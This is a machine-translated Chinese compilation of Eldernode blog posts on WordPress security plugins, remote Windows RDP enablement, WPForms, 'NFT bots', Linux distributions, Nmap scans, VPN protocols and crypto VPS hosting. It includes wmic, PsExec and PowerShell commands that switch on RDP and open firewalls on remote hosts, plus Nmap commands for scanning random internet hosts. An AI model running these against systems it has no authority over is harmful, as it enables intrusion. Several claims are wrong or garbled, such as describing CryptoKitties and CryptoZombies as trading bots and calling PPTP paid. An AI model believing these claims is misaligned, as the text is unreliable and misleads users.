这个插件保护您的网站免受 XSS、SQL 和其他已知攻击。此外,Sucuri 团队积极向 WordPress 核心团队以及第三方插件报告潜在的安全威胁。
Sucuri 插件的用户界面很吸引人,很容易引用它的不同部分。即使在您的网站受到攻击的情况下,它也会用必要的提示来帮助您消除攻击。
如果你愿意,你可以从 WordPress 插件库中 下载 Sucuri Security 。
Sucuri 安全特性
现在我们想提一下这个插件的一些最重要的特性。这些功能包括以下内容:
1.此插件的防病毒包每 4 小时监控您的网站,以确保您的网站没有潜在的漏洞和恶意软件。
2.这个插件跟踪你的站点上发生的所有事情,包括文件更改、上次登录、失败的登录尝试等等。
3.Sucuri 插件允许你扫描服务器端来保护你的网站免受服务器端病毒的攻击。
4.安全活动审计
5.文件完整性监控
6.远程恶意软件扫描
7.黑名单监控
8.有效的安全强化
9.黑客攻击后的安全措施
10.安全通知
3。安全围栏
Wordfence 安全插件是最全面和最好的 WordPress 安全插件之一。这个插件的免费精简版可以在官方的 WordPress 插件库中找到,到目前为止已经有超过 400 万次的活跃安装,得分超过 4.8 分(满分 5 分)。
免费版本具有重要的功能,如 Web 应用程序防火墙(WAF)、恶意软件扫描器和防止暴力攻击。Wordfence 插件监控暴力攻击,并防止许多登录尝试。您可以锁定使用无效用户名的任何人,甚至可以在专业版中启用两步验证来增加安全性。
您可以通过使用该插件的区域阻止功能来防止特定地理区域的内容攻击和窃取。根据模式和 IP 范围,您可以阻止所有看似可疑的恶意网络和人类活动。这个插件允许你检查你的 IP 地址的有效性。这样,您可以确保客户的电子邮件不会被标记为垃圾邮件。
Wordfence 的缺点是它运行在你自己的服务器上,而不是基于云的提供商。此外,该插件的一些功能,如区域封锁,预定扫描,两步认证,可在其专业版。
如果你愿意,你可以从 WordPress 插件库中 下载 Wordfence Security 。
Wordfence 安全特性
Wordfence 安全插件的一些最重要的功能包括:
1.保护网站免受攻击
2.能够创建两步验证来进入 WordPress 仪表盘
3.强迫所有用户在 WordPress 中使用强密码
4.扫描网站,检测 WordPress 模板或插件中被感染的文件
5.抵御暴力攻击
6.在线查看 WordPress 流量和统计数据的能力
7.防止 DDOS 攻击
4。iThemes 安全
iThemes 安全插件,以前叫做“更好的 WP 安全”,是另一个最好的 WordPress 安全插件,它提供了几种方法来保护你的 WordPress 网站。该插件的免费版本拥有超过 100 万的活跃安装量,得分为 4.7 分(满分 5 分)。
这个插件通过限制登录失败的次数来保护你的网站免受暴力攻击。您可以收到带有最新文件更新的电子邮件提醒,以了解您的网站是否遭到黑客攻击。
iThemes 安全插件根据您自己设置的限制锁定任何扫描您网站漏洞的可疑 IP。你甚至可以为你的站点设置一个不可访问的模式,使你的 WordPress dashboard 基于你应用的设置不可访问。此外,您可以配置插件,将数据库备份保存到网站外部的所需位置。
如果你愿意,你可以从 WordPress 插件库中 下载 iThemes Security 。
这是安全特性
iThemes 安全插件最重要的特性是:
1.能够在 WordPress 中使用两步登录
2.能够在 WordPress 中更新安全密钥
3.网站的自动和每日扫描
4.能够在 WordPress 中使用强密码
5.能够在 WordPress 中设置密码的失效日期,并要求用户在指定时间后更改密码
6.能够使用谷歌验证码
结论
许多 WordPress 网站用户关心的问题之一是它的安全性。有很多插件可以修复 WordPress 的安全问题。在这篇文章中,我们试图向你介绍 4 个 2021 年最好的 WordPress 安全插件。
在 windows 10 中启用远程桌面的 4 种方法- Eldernode
原文:https://blog.eldernode.com/4-ways-to-enable-remote-desktop/
您肯定处于这样一种情况:您需要在一台计算机上检查、安装软件、支持和各种服务,而该系统离您很远,甚至可能在另一个城市。因此,您没有对它的物理访问权。在这篇文章中,我们想向您介绍在 windows 10 中启用远程桌面的 4 种方法,其中包括组策略、 PowerShell 、T5、 等等。
即使是 Windows 操作系统中最专家和所谓的极客,有时也需要到远程桌面系统进行管理。作为专业使用 Windows 操作系统的人,您肯定知道可以通过系统属性在 Windows 中启用远程桌面。事实上,这是最简单和最容易的方法。但是,如果您想在远程桌面网络上运行远程系统,您必须首先在该系统上启用远程桌面,因为出于安全原因,默认情况下在 Windows 中禁用此功能。在 Eldernode 市场上有几个 RDP 管理服务器服务。你可以选择其中一个计划。
在 windows 10 中启用远程桌面的 4 种方式
远程桌面功能是 Windows 的功能特性之一。远程桌面的目的是使人们能够远程连接到其他计算机。如果你是 Windows 10 用户,想使用这个功能,就加入我们吧。要学习 Windows 10 中的远程桌面,您需要对电脑设置进行更改。这里有四种方法允许您的计算机接受此连接。
1。通过组策略对象或 GPO 启用远程桌面
为此,请打开组策略管理控制台并转到以下路径:
Computer Configuration > Administrative Templates > Windows Components >Remote Desktop Services > Remote Desktop Session Host > Connections
双击允许用户使用远程桌面服务远程连接并启用它。
现在,您需要指定可以访问远程桌面远程系统的 IP 地址范围。
首先转到以下路径:
Computer Configuration > Policies > Administrative Templates > Network > Network Connections > Windows Firewall > Domain Profile
双击 Windows 防火墙:允许入站远程桌面例外 策略 并启用。然后在 IP 范围框中输入所需的 IP 地址。
2。通过 PowerShell 激活远程桌面
通过 PowerShell 激活远程桌面有点困难。
首先, PowerShell Remoting 必须在目标系统上启用,以便能够通过 PowerShell 管理客户端和服务器系统。我们假设 PowerShell 远程处理在目标系统上是活动的。现在,您可以通过执行以下命令在目标系统上激活远程桌面:
Invoke-Command -Computername -ScriptBlock {Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value 0 }
您需要输入目标计算机名,而不是计算机名。我们使用了调用命令来使用设置项目属性命令。该命令将注册表项 fDenyTSConnections 的值更改为零。
最有可能的是, Windows 防火墙将阻止 RDP 流量,因此您必须使用以下命令来允许 RDP 流量进入目标系统:
Invoke-Command -Computername -ScriptBlock {Enable-NetFirewallRule -DisplayGroup "Remote Desktop"}
3。通过 WMI 启用远程桌面
如果目标系统上没有启用 PowerShell Remoting,您仍然可以通过 WMI 使用 PowerShell。当您希望在大量客户端上启用 RDP 时,此方法会很有用。使用以下脚本,您可以在目标系统上管理 PowerShell 远程处理,而无需激活它。
[cmdletbinding()] param( [parameter(ValueFromPipeline=$true,ValueFromPipelineByPropertyName=$true)] [string[]]$ComputerName = $env:computername, [ValidateScript({Test-Path $_})] [string]$OutFolder = "c:\" ) begin { $SuccessComps = Join-Path $OutFolder "Successcomps.txt" $FailedComps = Join-Path $OutFolder "FailedComps.txt" } process { foreach($Computer in $ComputerName) { try { $RDP = Get-WmiObject -Class Win32_TerminalServiceSetting ` -Namespace root\CIMV2\TerminalServices ` -Computer $Computer ` -Authentication 6 ` -ErrorAction Stop } catch { Write-Host "$Computer : WMIQueryFailed" "$Computer : WMIQueryFailed" | Out-File -FilePath $FailedComps -Append continue } if($RDP.AllowTSConnections -eq 1) { Write-Host "$Computer : RDP Already Enabled" "$Computer : RDP Already Enabled" | Out-File -FilePath $SuccessComps -Append continue } else { try { $result = $RDP.SetAllowTsConnections(1,1) if($result.ReturnValue -eq 0) { Write-Host "$Computer : Enabled RDP Successfully" "$Computer : RDP Enabled Successfully" | Out-File -FilePath $SuccessComps -Append } else { Write-Host "$Computer : Failed to enabled RDP" "$Computer : Failed to enable RDP" | Out-File -FilePath $FailedComps -Append } } catch { Write-Host "$computer : Failed to enabled RDP" "$Computer : Failed to enable RDP" | Out-File -FilePath $FailedComps -Append } } } } end {}
将该脚本保存在后缀为 ps1 的文件中。
例如 ,我们将这个文件命名为 Enable-RDPAccess.ps1 .现在运行以下命令:
.\Enable-RDPAccess.ps1 -ComputerName
您需要输入目标计算机名,而不是计算机名。如果要在大量客户端系统上启用 RDP,请将系统的计算机名称保存在文本文件中,并运行以下命令:
Get-Content | Enable-RDPAccess.ps1
通过执行以下命令,您还可以允许 RDP 流量进入目标系统:
wmic /node: process call create "cmd.exe /c netsh firewall set service RemoteDesktop enable"
您也可以使用 wmic 工具在客户端 : 上启用远程桌面
`wmic /node: process call create 'cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'`
请注意,在远程系统的防火墙设置中,您必须允许 WMI 流量进入。您可以使用组策略来做到这一点。要在组策略中执行此操作,请转到以下路径:
`Computer Configuration > Policies > Windows Settings > Security Settings > Windows Firewall with Advanced Security`
右键点击入站规则,选择预定义,从下拉菜单中选择 Windows 管理规范或 WMI 。
4。通过 PsExec 激活远程桌面
另一个可以用来在客户端系统上启用远程桌面的选项是使用免费的 PsExec 工具 。使用该工具不需要在远程系统上激活 PowerShell Remoting 。这个工具唯一的缺点是不像 PowerShell 中的 Invoke-Command 那么容易使用。要使用 PsExec,远程系统中的文件和打印机共享必须对入站开放。这可能比 WMI 端口或 PowerShell Remoting 更开放。如果它未激活,您可以从以下路径在组策略中激活它:
`Computer Configuration > Policies > Administrative Templates > Network > Network Connections > Windows Firewall > Domain Profile > Windows Firewall: Allow inbound file and printer sharing exception`
现在转到psexec.exe工具所在的文件夹,然后在命令提示符下运行以下命令:
`psexec.exe \\ reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f`
使用以下命令,您必须允许 RDP 流量进入目标系统:
`psexec.exe \\ netsh firewall set service RemoteDesktop enable`
结论
RDP 协议允许用户远程访问桌面和其中的应用程序。事实上,您可以远程访问远程桌面组织内的服务器,并使用其中的应用程序。在本文中,我们教你如何在 Windows 10 中用 4 种方法激活远程桌面,分别是 GPO、PowerShell、WMI 和 PsExec。
用 WPForms 改进你的 WordPress 站点的 4 大方法
原文:https://blog.eldernode.com/4-ways-to-improve-wordpress-with-wpforms/
表单是从用户那里收集信息的主要工具之一,通过它可以向网站提供有用的信息。它有助于网站管理员拥有一个关于用户及其兴趣的丰富数据库。WordPress 是能够在其他系统和优秀的专业插件出现之前发展这些工具的系统之一。这个领域中最著名和最流行的插件之一是 WPForms 插件。这篇文章将教你如何用 WPForms 改进你的 WordPress 站点。 Eldernode 网站提供经济实惠的 VPS 套餐,如果你打算购买,这可能是最好的选择。
如何用 WPForms 改进你的 WordPress 站点
WPForms 是一个用于 WordPress 网站的拖放式表单生成器。它被认为是最入门级的联系人表单插件。因为您还可以轻松地为您的站点创建漂亮的联系表单、订阅表单、支付表单和其他类型的表单,而无需编写代码或雇用开发人员。该插件于 2016 年推出,受到了博客、企业主、设计师和开发者的欢迎。WPForms 插件有专业版和免费版。WPForms 插件的免费版本,也称为 WPForm Lite,能够为您的站点实现所有需要的表单。
1-创建自定义字段
WPForms 有许多字段类型,允许您轻松创建和填写表单。每个 WPForms 字段都有一组内置控件,允许您构建满足特定需求的表单。您可以使用许多选项来自定义表单中的字段。此外,您可以使用表单生成器添加、删除和编辑字段。
2-设置邮件通知
设置接收通知和信息的电子邮件地址。这意味着,如果你设置了电子邮件通知,你可以从你的电子邮件中收到所有的信息。您将提供一个电子邮件地址,通知电子邮件将被发送。此外,它允许您配置多个电子邮件地址。为此,请用逗号分隔每个电子邮件地址。
3-整合社交媒体
如果你将 WPForms 插件整合到社交网络中,网站流量会增加。将社交网络添加到 WPForms 插件非常简单,并且对改进你的 WordPress 站点有很大帮助。这将允许你在侧边栏、文章下方或文章之前显示社交图标。你可以选择在你的 WordPress 站点上显示它们的位置。
4-添加多个联系人表单
如果您想在有人填写您的表单时向多人发送通知,您可以使用 WPForms 插件来完成。使用 WPForms,很容易定制谁接收什么消息。在 WPForms 插件的帮助下,您可以创建不同类型的表单,如简单的联系表单、调查表单、员工信息表单,以及几乎任何您想要的东西。
结论
WPForms 是一个 WordPress 插件,可以让你轻松创建网站联系表单。它有一些有用的功能,可以改善你的 WordPress 网站,让你的企业在网上赚更多的钱。在这篇文章中,我们教了你 4 种用 WPForms 改进你的 WordPress 站点的方法。我希望这篇教程对你有用,并帮助你改进你的 WordPress 站点。如果您有任何问题或建议,可以在评论区联系我们。
5 个交易替代硬币的最佳 NFT 机器人- Eldernode 博客
原文:https://blog.eldernode.com/5-best-nft-bots-for-trading-altcoins/
NFT 机器人将购买你想要的数字文件,直到它们被出售。然后你可以在二级市场上以更高的价格出售它们。有趣的是,如果你花时间在正确的市场上销售,你可以通过这些机器人获得大量利润。在这篇文章中,我们将向您介绍 5 个最好的交易替代硬币的 NFT 机器人。还需要注意的是,您可以 购买 Eldernode 网站上提供的 VP进行自己的交易。
一些交易山寨币的 NFT 机器人
在这篇来自营销培训系列的文章的续篇中,我们将向您介绍一些用于交易替代硬币的 NFT 机器人。
1)隐猫
CryptoKitties 是一种区块链游戏,允许用户收集可爱的卡通猫,并最终在一个特殊的平台上进行买卖。这款游戏在用户群体中的受欢迎程度如此之高,以至于在它发布的时候,以太坊网络非常慢。这个游戏的发行增加了很多,带来了超过一百万美元的金融交易。
这款游戏由一家名为 Axiom Zen 的区块链公司开发,是一款以娱乐为目的的 DAPP。该游戏因其有趣的角色而非常吸引人,但该游戏的目标是证明区块链在提高安全级别和简化数字资产交易方面的效果和潜在应用。这个游戏的主要焦点是支付,这就是为什么这个游戏的开发者相信通过扩展他们的视野,他们会更好地了解区块链能做什么。
基于以太坊网络的平台
大多数区块链的项目都是用数字货币发布的,这是一种具有功能价值的交易代币,可以用来交换各自公司的股份。提供代币已经成为资助创业公司最成功的工具之一,在很多情况下,这个项目的预算已经超过了数百万美元。
Cryptokitties 游戏平台基于以太坊网络,因此通过智能合约,它管理所有基于 CryptoKitties 的创建和交换的工作。因此,没有任何力量直接负责中央监督和控制你们的资产。每一个拥有代币的人,小猫也是为他准备的,他可以保留代币或交换代币。
因为加密货币使用以太坊网络,所有的支付都是通过以太进行的。因此,使用传统货币购买 CryptoKitties 是不可能的,但这个项目的开发团队打算向其用户提供这一功能。
为了存储和维护这些类型的令牌,您需要一个可以在 web 浏览器上执行的以太坊钱包。
2)密码机器人
我们将在本节中向您介绍的第二个机器人称为加密机器人。 CryptoBots 是最受欢迎的 NTF 机器人平台之一。CryptoBots 是一个非常成功的平台,创建于 2014 年。需要注意的是,这个机器人向用户提供免费和付费账户。拥有免费账户的用户每天最多可以交易 100 美元,没有最低存款额。此外,拥有付费账户的用户每天最多可以交易 1000 美元,最低存款额为 50 美元。
创世纪是第一代机器人。这些机器人将在未来几年为所有未来一代的密码机器人释放基因。
以下是加密机器人的特征:
–X2 构建速度加快了新机器人的创建速度
–使用 BITS 代币奖励进行预发行投注
–+70%的生产限制,以生产更多的机器人
–为新玩家创建初始资源的第一代机器人
3)隐型丧尸
我们将在本节中介绍的第三个机器人名为 CryptoZombies。 CryptoZombies 是一个创新的新机器人,让交易者只需玩玩就能赚钱。CryptoZombies bot 重要而有趣的一点是,使用这个 bot 不需要花钱。您只需要输入一次您的详细信息,然后您就可以开始赚取。CryptoZombies 是区块链发展最大的教育平台。CryptoZombies 是一个交互式学校,教你关于区块链的一切技术。需要注意的是,通过制作简单的游戏,你可以很容易地学会编写区块链程序。
CryptoZombies 主要专注于以太坊和 Solidity 开发,但对其他连锁店如币安、创甚至 Chainlink 等项目的内容有巨大的需求。
CryptoZombies 的一步一步的教程将带你通过坚实的基础,建立自己的全功能的区块链游戏。即使在第 1 课结束时,您也可以成为一名区块链开发人员。
4)密码本
NFT 是在区块链上运行的数字财产令牌,支持像以太坊这样的智能合约。请注意,NFT 是不可替代的,类似于现实世界中的合同,在现实世界中,您不能用一个合同交换另一个合同。我们将在本节中解释的第四个 NFT 机器人叫做 Cryptoticker。Cryptoticker 是 NTF 最受欢迎的交易机器人平台之一。Cryptoticker 允许用户轻松交易加密货币。用户还可以用它来跟踪各种替代硬币的价格走势。
【5】密码锁
我们将在本节中解释的第五个 NFT 机器人名为 Cryptokitty。请注意,使用 NFTs 有几种不同的方式。NFT 可以用作收藏品、游戏,甚至是投资工具。大多数收集 NFT 的人这样做是因为拥有它们很有趣。但是,也有用户将 NFTs 作为一种投资。altcoin 交易更是如此。
结论
大多数 NFT 是以太坊区块链的一部分。然而,以太坊是一个区块链,支持 NFTs,通过可编程的“智能合约”存储附加信息。所以它们以不同的方式工作,就像买卖一枚 ETH 硬币。最后,有趣的是,不同的区块链可以实现他们自己版本的 NFTs,因为其他区块链提供了提高交易速度、规模和费用的新机会。在这篇文章中,我们试图向您介绍 5 个最好的交易替代硬币的 NFT 机器人。
适用于您企业的 5 种云 Linux 替代方案
原文:https://blog.eldernode.com/5-cloudlinux-alternatives-for-your-business/
CloudLinux 是一个实用程序,它使 Linux 对于世界各地的主机和数据中心来说更加安全、稳定和有利可图。CloudLinux 使用现代技术使数据更接近服务器工具。通过这样做,您将能够监控性能。在本文中,我们将向您介绍适用于您企业的 5 种 CloudLinux 替代方案。如果你想买一台 Linux VPS 服务器,你可以访问 Eldernode 网站上提供的套装。
cloud Linux 简介
适合您业务的云 Linux 替代品
在本文的其余部分,请和我们一起介绍 CloudLinux 的 5 种替代方案。
①厘斯
一个 Linux 发行版是一套随 Linux 内核发布的软件。通常,Linux 发行版包括 GNU 工具链。因此,有些发行版被称为 GNU/Linux 发行版。
从这个意义上说,CentOS 和 RHEL 是 GNU/Linux 发行版。然而,现代 Linux 发行版包含了许多 GNU 内核和工具链之外的程序。
目前,CentOS 是虚拟主机和 vps 服务器行业中最流行的 Linux 发行版之一。由于 Cent OS 与 RHEL 的二进制兼容性,它与大多数 Linux 软件高度兼容。大多数主机控制面板使用 CentOS 作为顶级专用服务器 Linux 发行版。
CentOS 的特征
当您考虑使用 CentOS 作为您的虚拟主机或网络服务器时,有许多优势可供您使用。这些功能包括:
1.安全
2.广泛的支持
3.包装管理
4.拥有广泛的论坛和文档社区
5.对管理面板的支持
2)Ubuntu
与专有软件不同,Ubuntu 是一个拥有数百万用户的开源免费操作系统。这意味着用户可以修改它的代码,创建和安装任意数量的副本,并在任何地方进行必要的定制。还有一点就是使用 Ubuntu 不需要付费购买许可证。
事实上,Ubuntu 是一个流行的操作系统,你可以在你的 PC 或 Linux VPS 上使用。这是一个庞大的项目,它帮助世界上数百万人在各种设备上运行由免费和开源软件构建的机器。
使用 Ubuntu 的优势
使用 Ubuntu 的原因有很多,但以下是最重要的几个:
这个程序是免费和开源的。
2-易于安装和测试。事实上,你不需要成为安装它的专家。
3-它漂亮、时尚且用户友好。
4-它稳定而快速,在现代计算机上通常不到一分钟就能加载完毕。
5-它不包含任何重要的病毒,对有害的 Windows 病毒免疫。
6-它是受支持的,你可以从全球 FOSS 社区和 Canonical 获得你需要的所有备份和指导。在 Linux 操作系统的不同版本中,Ubuntu 得到的支持最多。
3)德比安
Debian 是 Linux 操作系统中最古老、使用最广泛的免费发行版之一。这个操作系统可以在网络的服务器和个人电脑上看到。
这种操作系统的简单安装是它受欢迎的另一个原因。选择安装语言、国家、网络、域、分区、根用户密码、创建完整的用户名、密码以及标准和桌面选项是为此需要采取的唯一步骤。
Debian 能够在许多不同架构的处理器上运行、安装和操作。这些体系结构从个人计算机中使用的 Intel 和 AMD 的 32 位和 64 位版本到 ARM 和 IBM 的 Z 系列 eServer 大型计算机。
图形化和对用户有吸引力的环境是这个操作系统的另一个吸引人的特点。GNOME 桌面环境包括许多应用程序。这些程序包括 OpenOffice.org,Iceweasel,Evolution 电子邮件系统,刻录 CD 和 DVD,播放音乐和视频,查看照片,编辑文本和查看 PDF 文件的程序。
Debian 的优势
Debian 是一个重要而强大的 Linux 发行版,具有非常高的稳定性和稳定性,可以在操作环境中为你提供一个安全的平台。Debian 的一些特性是:
1-非常稳定
2-耐用
3-与服务器兼容
4-强大的支持
5-打开文本
4)洛基 Linux
Rocky Linux 是一个开源的企业操作系统。这个操作系统被设计成与 Red-Hat Enterprise Linux 完全兼容。Rocky Linux 操作系统的目标是企业,通过定期更新和 10 年的支持生命周期提供完全的稳定性。由于对该项目的长期投资,该项目将留在社区中是有保证的。由于提供了免费且易于使用的迁移脚本,您可以轻松地从其他 Linux 发行版迁移到 Rocky Linux 操作系统。
洛基 Linux 的优势
1-得到支持团队的信任
2-可持续性
Rocky Linux 与 RedHat Enterprise Linux 的兼容性
4-易于迁移的可能性
5-二进制和开源
5) AlmaLinux
自从红帽宣布 2021 年底不开发 CentOS 8 操作系统的消息后,许多人对该公司为了专注于 CentOS Stream 而停止开发 CentOS 8 的决定表示不满。与此同时,开发人员社区为它想到了一个替代方案。
为了满足这一需求,维护 CloudLinux 发行版(一个商业发行版)的 CloudLinux 公司在支持社区的支持下构建了 AlmaLinux,作为 CentOS 的有效替代方案。
AlmaLinux 是 Redhat Enterprise Linux 或 REHL 的对等二进制分叉。这个发行版是稳定发布版,并且这些包被放在稳定更新中,这比滚动发布版更适合服务器。
alma Linux 的优势
AlmaLinux 操作系统的一些显著特性是:
1-易于使用
2-易于安装
3-免费
结论
CloudLinux 操作系统是为共享主机提供商设计的。操作系统将每个客户端隔离在一个单独的“轻型虚拟环境”(LVE)中,该环境对内存、CPU 等服务器资源进行分区、分配和限制。在本文中,我们试图为您的企业介绍 5 种 CloudLinux 替代方案。如果你有任何问题,你可以在评论区和我们分享。
5 Nmap 安全扫描示例- ElderNode 博客
原文:https://blog.eldernode.com/5-nmap-security-scanning-examples/
如今,网络攻击增加了,组织和公司应该定期进行网络安全扫描。为此,有许多监测工具和软件,Nmap 是最好的监测工具之一,没有什么可以取代它的有用和实用的功能。本文将向您介绍 5 个 Nmap 安全扫描实例。如果你想购买一台 Linux VPS 服务器,你可以查看 Eldernode 网站上提供的软件包。
介绍 Nmap 安全扫描
什么是 Nmap?
Nmap 代表网络映射器,是一个开源的多功能 Linux 命令行工具,用于安全审计和网络探测。您可以使用 Nmap 来自动化许多重复的和预定的任务,例如程序监控和服务更新,它是由 Gordin Lyon 开发的。此外,网络管理员使用此工具来探索网络、网络审计、查找开放端口和执行安全扫描。
Nmap 收集网络细节并确定系统中的安全漏洞。它是独立于操作系统的,可以在许多流行的操作系统上运行,比如 Linux、Windows、Mac 和 BSD。
2022 年 5 个 Nmap 安全扫描实例
本节包括 Nmap 安全扫描示例。为了节省带宽,每天对该主机的扫描不应超过 12 次。
1.您可以使用下面的命令扫描scanme.nmap.org机器上所有保留的 TCP 端口:
nmap -v scanme.nmap.org
-v 选项用于启用详细模式。
2.如果您想对 Scanme 所在的 24 规模网络上的 256 个 IP 中的任何设备启动秘密 SYN 扫描,或者确定每个正在运行的主机上运行的是什么操作系统,请使用以下命令:
nmap -sS -O scanme.nmap.org/24
注意: 你要用 root 权限扫描 SYN,检测操作系统。
3.以下命令在 198.116.0.0/16 地址空间中 255 个可能的 8 位子网的前半部分启动主机枚举和 TCP 扫描。此外,您可以使用此选项测试系统是否在其标准端口上运行 SSH、DNS、POP3 或 IMAP,或者在端口 4564 上运行任何内容:
nmap -sV -p 22,53,110,143,4564 198.116.0-255.1-127
对于每个打开的端口,您可以通过版本检测来确定正在运行的程序。
4.以下命令告诉 Nmap随机选择 100000 台主机和扫描 web 服务器(端口 80):
nmap -v -iR 100000 -Pn -p 80
-Pn 选项禁用主机枚举,因为首先发送几个探测来确定,因为当您无论如何只探测每个目标主机上的一个端口时,主机启动是一种浪费。
5.要扫描 4096 IPs 中的任何 web 服务器(不 ping 它们)并将输出保存为 grepable 和 XML 格式,请使用以下命令:
nmap -Pn -p80 -oX logs/pb-port80scan.xml -oG logs/pb-port80scan.gnmap IP_Server/20
就是这样!
结论
您可以使用 Nmap Linux 命令行工具扫描网络中的 IP 地址和端口,并检测已安装的应用程序。在本文中,我们介绍了 Nmap,并解释了 5 个 Nmap 安全扫描示例,从简单到稍微复杂和深奥。我希望你喜欢这个教程。如果你面临任何问题或者有任何疑问,可以在评论区联系我们。
OpenVPN 优于 PPTP VPN 的 5 个理由
原文:https://blog.eldernode.com/5-reasons-openvpn-is-better-than-pptp-vpn/
在当今的现代和在线世界中,VPN 协议是普遍使用的。互联网正成为我们生活中必不可少的一部分;在它的帮助下,你可以从你的工作场所连接到世界的另一个角落。互联网最重要的部分是保护你的隐私。当你在没有任何 VPN 的情况下使用互联网时,间谍正在监视你。OpenVPN 和 PPTP VPN 都是 VPN 协议,本文将解释 OpenVPN 优于 PPTP VPN 的 5 个原因。如果你想购买自己的 VPS 服务器,可以查看 Eldernode 网站上提供的套装。
为什么 OpenVPN 比 PPTP VPN 好?
VPN 可以隐藏你的真实身份,也可以加密你的数据。所以大部分人都用。如果你想保护你的敏感文件和维护你的在线隐私,你应该使用 VPN。使用 VPN 的另一个原因是绕过基于地理区域的限制来访问一些站点或服务。
OpenVPN 是由 OpenVPN 技术公司开发的用于建立 VPN 连接的最先进的协议。您可以通过第三方客户端在所有主要设备上使用 OpenVPN。该协议可以使用 TCP 和 UDP 端口,是安全和绕过地理块和防火墙的最佳选择。PPTP VPN 是一种连接专用网络的方法,代表点对点隧道协议。它受大多数 VPN 提供商的支持,由微软开发。该协议通过安全的互联网连接为 VPN 提供服务器访问,并且比其他协议更容易设置。
1- OpenVPN 提供最高的安全性
与 L2tp 等其他基于 IPSec 的隧道协议不同,OpenVPN 依靠 SSL/TLS 进行数据认证和加密。在 OpenVPN 中,使用数字证书对数据进行认证。这种标准安全技术创建了从一个位置到另一个位置或从一点到另一点的安全连接。
PPTP VPN 使用 MPPE 来支持 RC4 加密,并且具有各种安全漏洞。它将通信和发送的数据置于被安全组织泄露的风险中。事实上,它提供了基本的安全保障。如果你的连接安全对你很重要, OpenVPN 是个不错的选择。
2-它提供了最高的性能
OpenVPN 提供了高性能,并有配置选项,允许您定制它以获得更高的速度或性能。TCP 上的这种协议提供了比 UDP 更快的速度。事实上,OpenVPN 比 PPTP VPN 更一致,并且具有快速恢复不稳定连接的能力。
3- OpenVPN 与大多数操作系统兼容
OpenVPN 适用于大多数操作系统,包括 Windows、Mac OS X、Linux、Android、iOS、OpenBSD、Solaris、FreeBSD 等。但是 PPTP VPN 内置于台式电脑、平板电脑和移动设备中。它支持 Android,Windows,iOS,Linux,macOS,DD-WRT,番茄等。该协议很难在少数路由器上设置。
4-使用 OpenVPN 不需要付费,因为它是免费的
OpenVPN 是免费的,不需要付费。不管需要什么平台,这个程序都可以在不同的操作系统上免费运行,比如 Android,Windows,Mac 等等。您可以使用 OpenVPN 免费连接到 VPN 服务器。另一方面,你必须支付少量费用才能使用 PPTP 虚拟专用网。但你不必为它购买额外的硬件或安装其他功能。
5-比 PPTP VPN 拥有更多的支持选项
OpenVPN 比 PPTP VPN 有更多的支持选项。例如,它有自己的网站,用户可以在那里找到帮助和教程,但 PPTP VPN 没有这样的选项。可以从其官网下载 OpenVPN。
结论
PPTP 虚拟专用网有很多缺陷。OpenVPN 在注重隐私的互联网用户中是一个流行的协议选项,它应该出现在每个设备上。在本文中,我们解释了 OpenVPN 优于 PPTP VPN 的 5 个原因。我希望这个教程对你有用。如果您有任何问题或建议,可以在评论区联系我们。
选择加密 VPS 托管服务的 5 个理由
原文:https://blog.eldernode.com/5-reasons-to-choose-a-crypto-vps-hosting/
当你决定创业的时候,你要考虑很多方面。包括购买一个可靠的虚拟专用服务器,让您可以完全控制和根访问您的系统。最安全的 VPS 托管类型之一是加密 VPS 托管。这篇文章将向你介绍选择加密 VPS 托管服务的 5 个理由。
介绍 Crypto VPS 托管服务
密码或加密货币是基于区块链技术并以虚拟或数字形式存在的任何形式的货币。它使用密码术来保护交易,并且是在许多开发者的支持下开发的。加密货币使用分散系统来记录交易和发行新单位。他们没有一个中央发布或管理机构。以加密货币为核心的支付系统保护您的身份。
Crypto VPS 托管可以保持一定程度的隐私
如果使用托管的加密货币 VPS,就不需要在金融机构注册账户,这样就保护了隐私。否则,您应该提供信用卡、身份验证、实际地址、电子邮件验证等信息来订购 VPS 主机。您在加密货币中进行的交易在区块链中有一个标识符,即您钱包的地址。他们没有关于你的信息。你可以使用你的钱包地址一次,你应该注意不要泄露你的地址。但是如果有人获得了你的加密钱包的私钥,他们就可以访问你的资金。
Crypto VPS 托管允许跟踪交易历史
加密货币交易记录在一个公开发行的区块链账本中,你可以用它来跟踪交易的历史。加密区块链记录了网络上的每一笔交易。您可以使用一些工具来搜索交易数据,并通过在任何比特币区块链浏览器中搜索您支付的钱包地址来检查交易历史。这可以减少欺诈交易。
使用方便,提供直接兑换,无需中介
加密货币是点对点的,减少了第三方参与的需要。这意味着区块链的技术为他们提供了动力,这将排除银行等中介机构。由于这个原因,交易双方之间的加密货币转移更快。没有支付处理费用。通过使用您的加密货币钱包发送和接收付款,您可以轻松使用托管的 Crypto VPS。您应该选择和使用与您选择使用的加密货币兼容的钱包。
任何人都可以使用 Crypto VPS 托管
你可以使用加密 VPS 主机,即使你不是一个技术大师,不了解这项技术。加密货币可以在世界任何地方进行交易。购买加密 VPS 主机只需选择你的加密钱包,从交易网站购买你想要的加密,最后选择加密支付方式购买 VPS 主机。
Crypto VPS 主机拥有 24/7 支持
Crypto VPS 主机没有工作时间和周末。它一年 365 天,一周 7 天,一天 24 小时都可以使用,你不会错过任何付款。加密市场分布在一个分散的计算机网络中,而不是像股票和商品那样受监管的交易所。
结论
加密货币是货币的数字版本。可以使用以太坊、Litecoin、Dogecoin、Monero、Tether 等从 Eldernode 网站购买 VPS 主机。在这篇文章中,我们向您介绍了选择加密 VPS 托管服务的 5 个理由。我希望这个教程能帮助你选择加密 VPS 主机,你会发现它很有用。如果您有任何问题或建议,可以在评论区联系我们。
选择 Windows VPS 托管计划的五大理由
原文:https://blog.eldernode.com/5-reasons-to-choose-a-windows-vps-hosting/
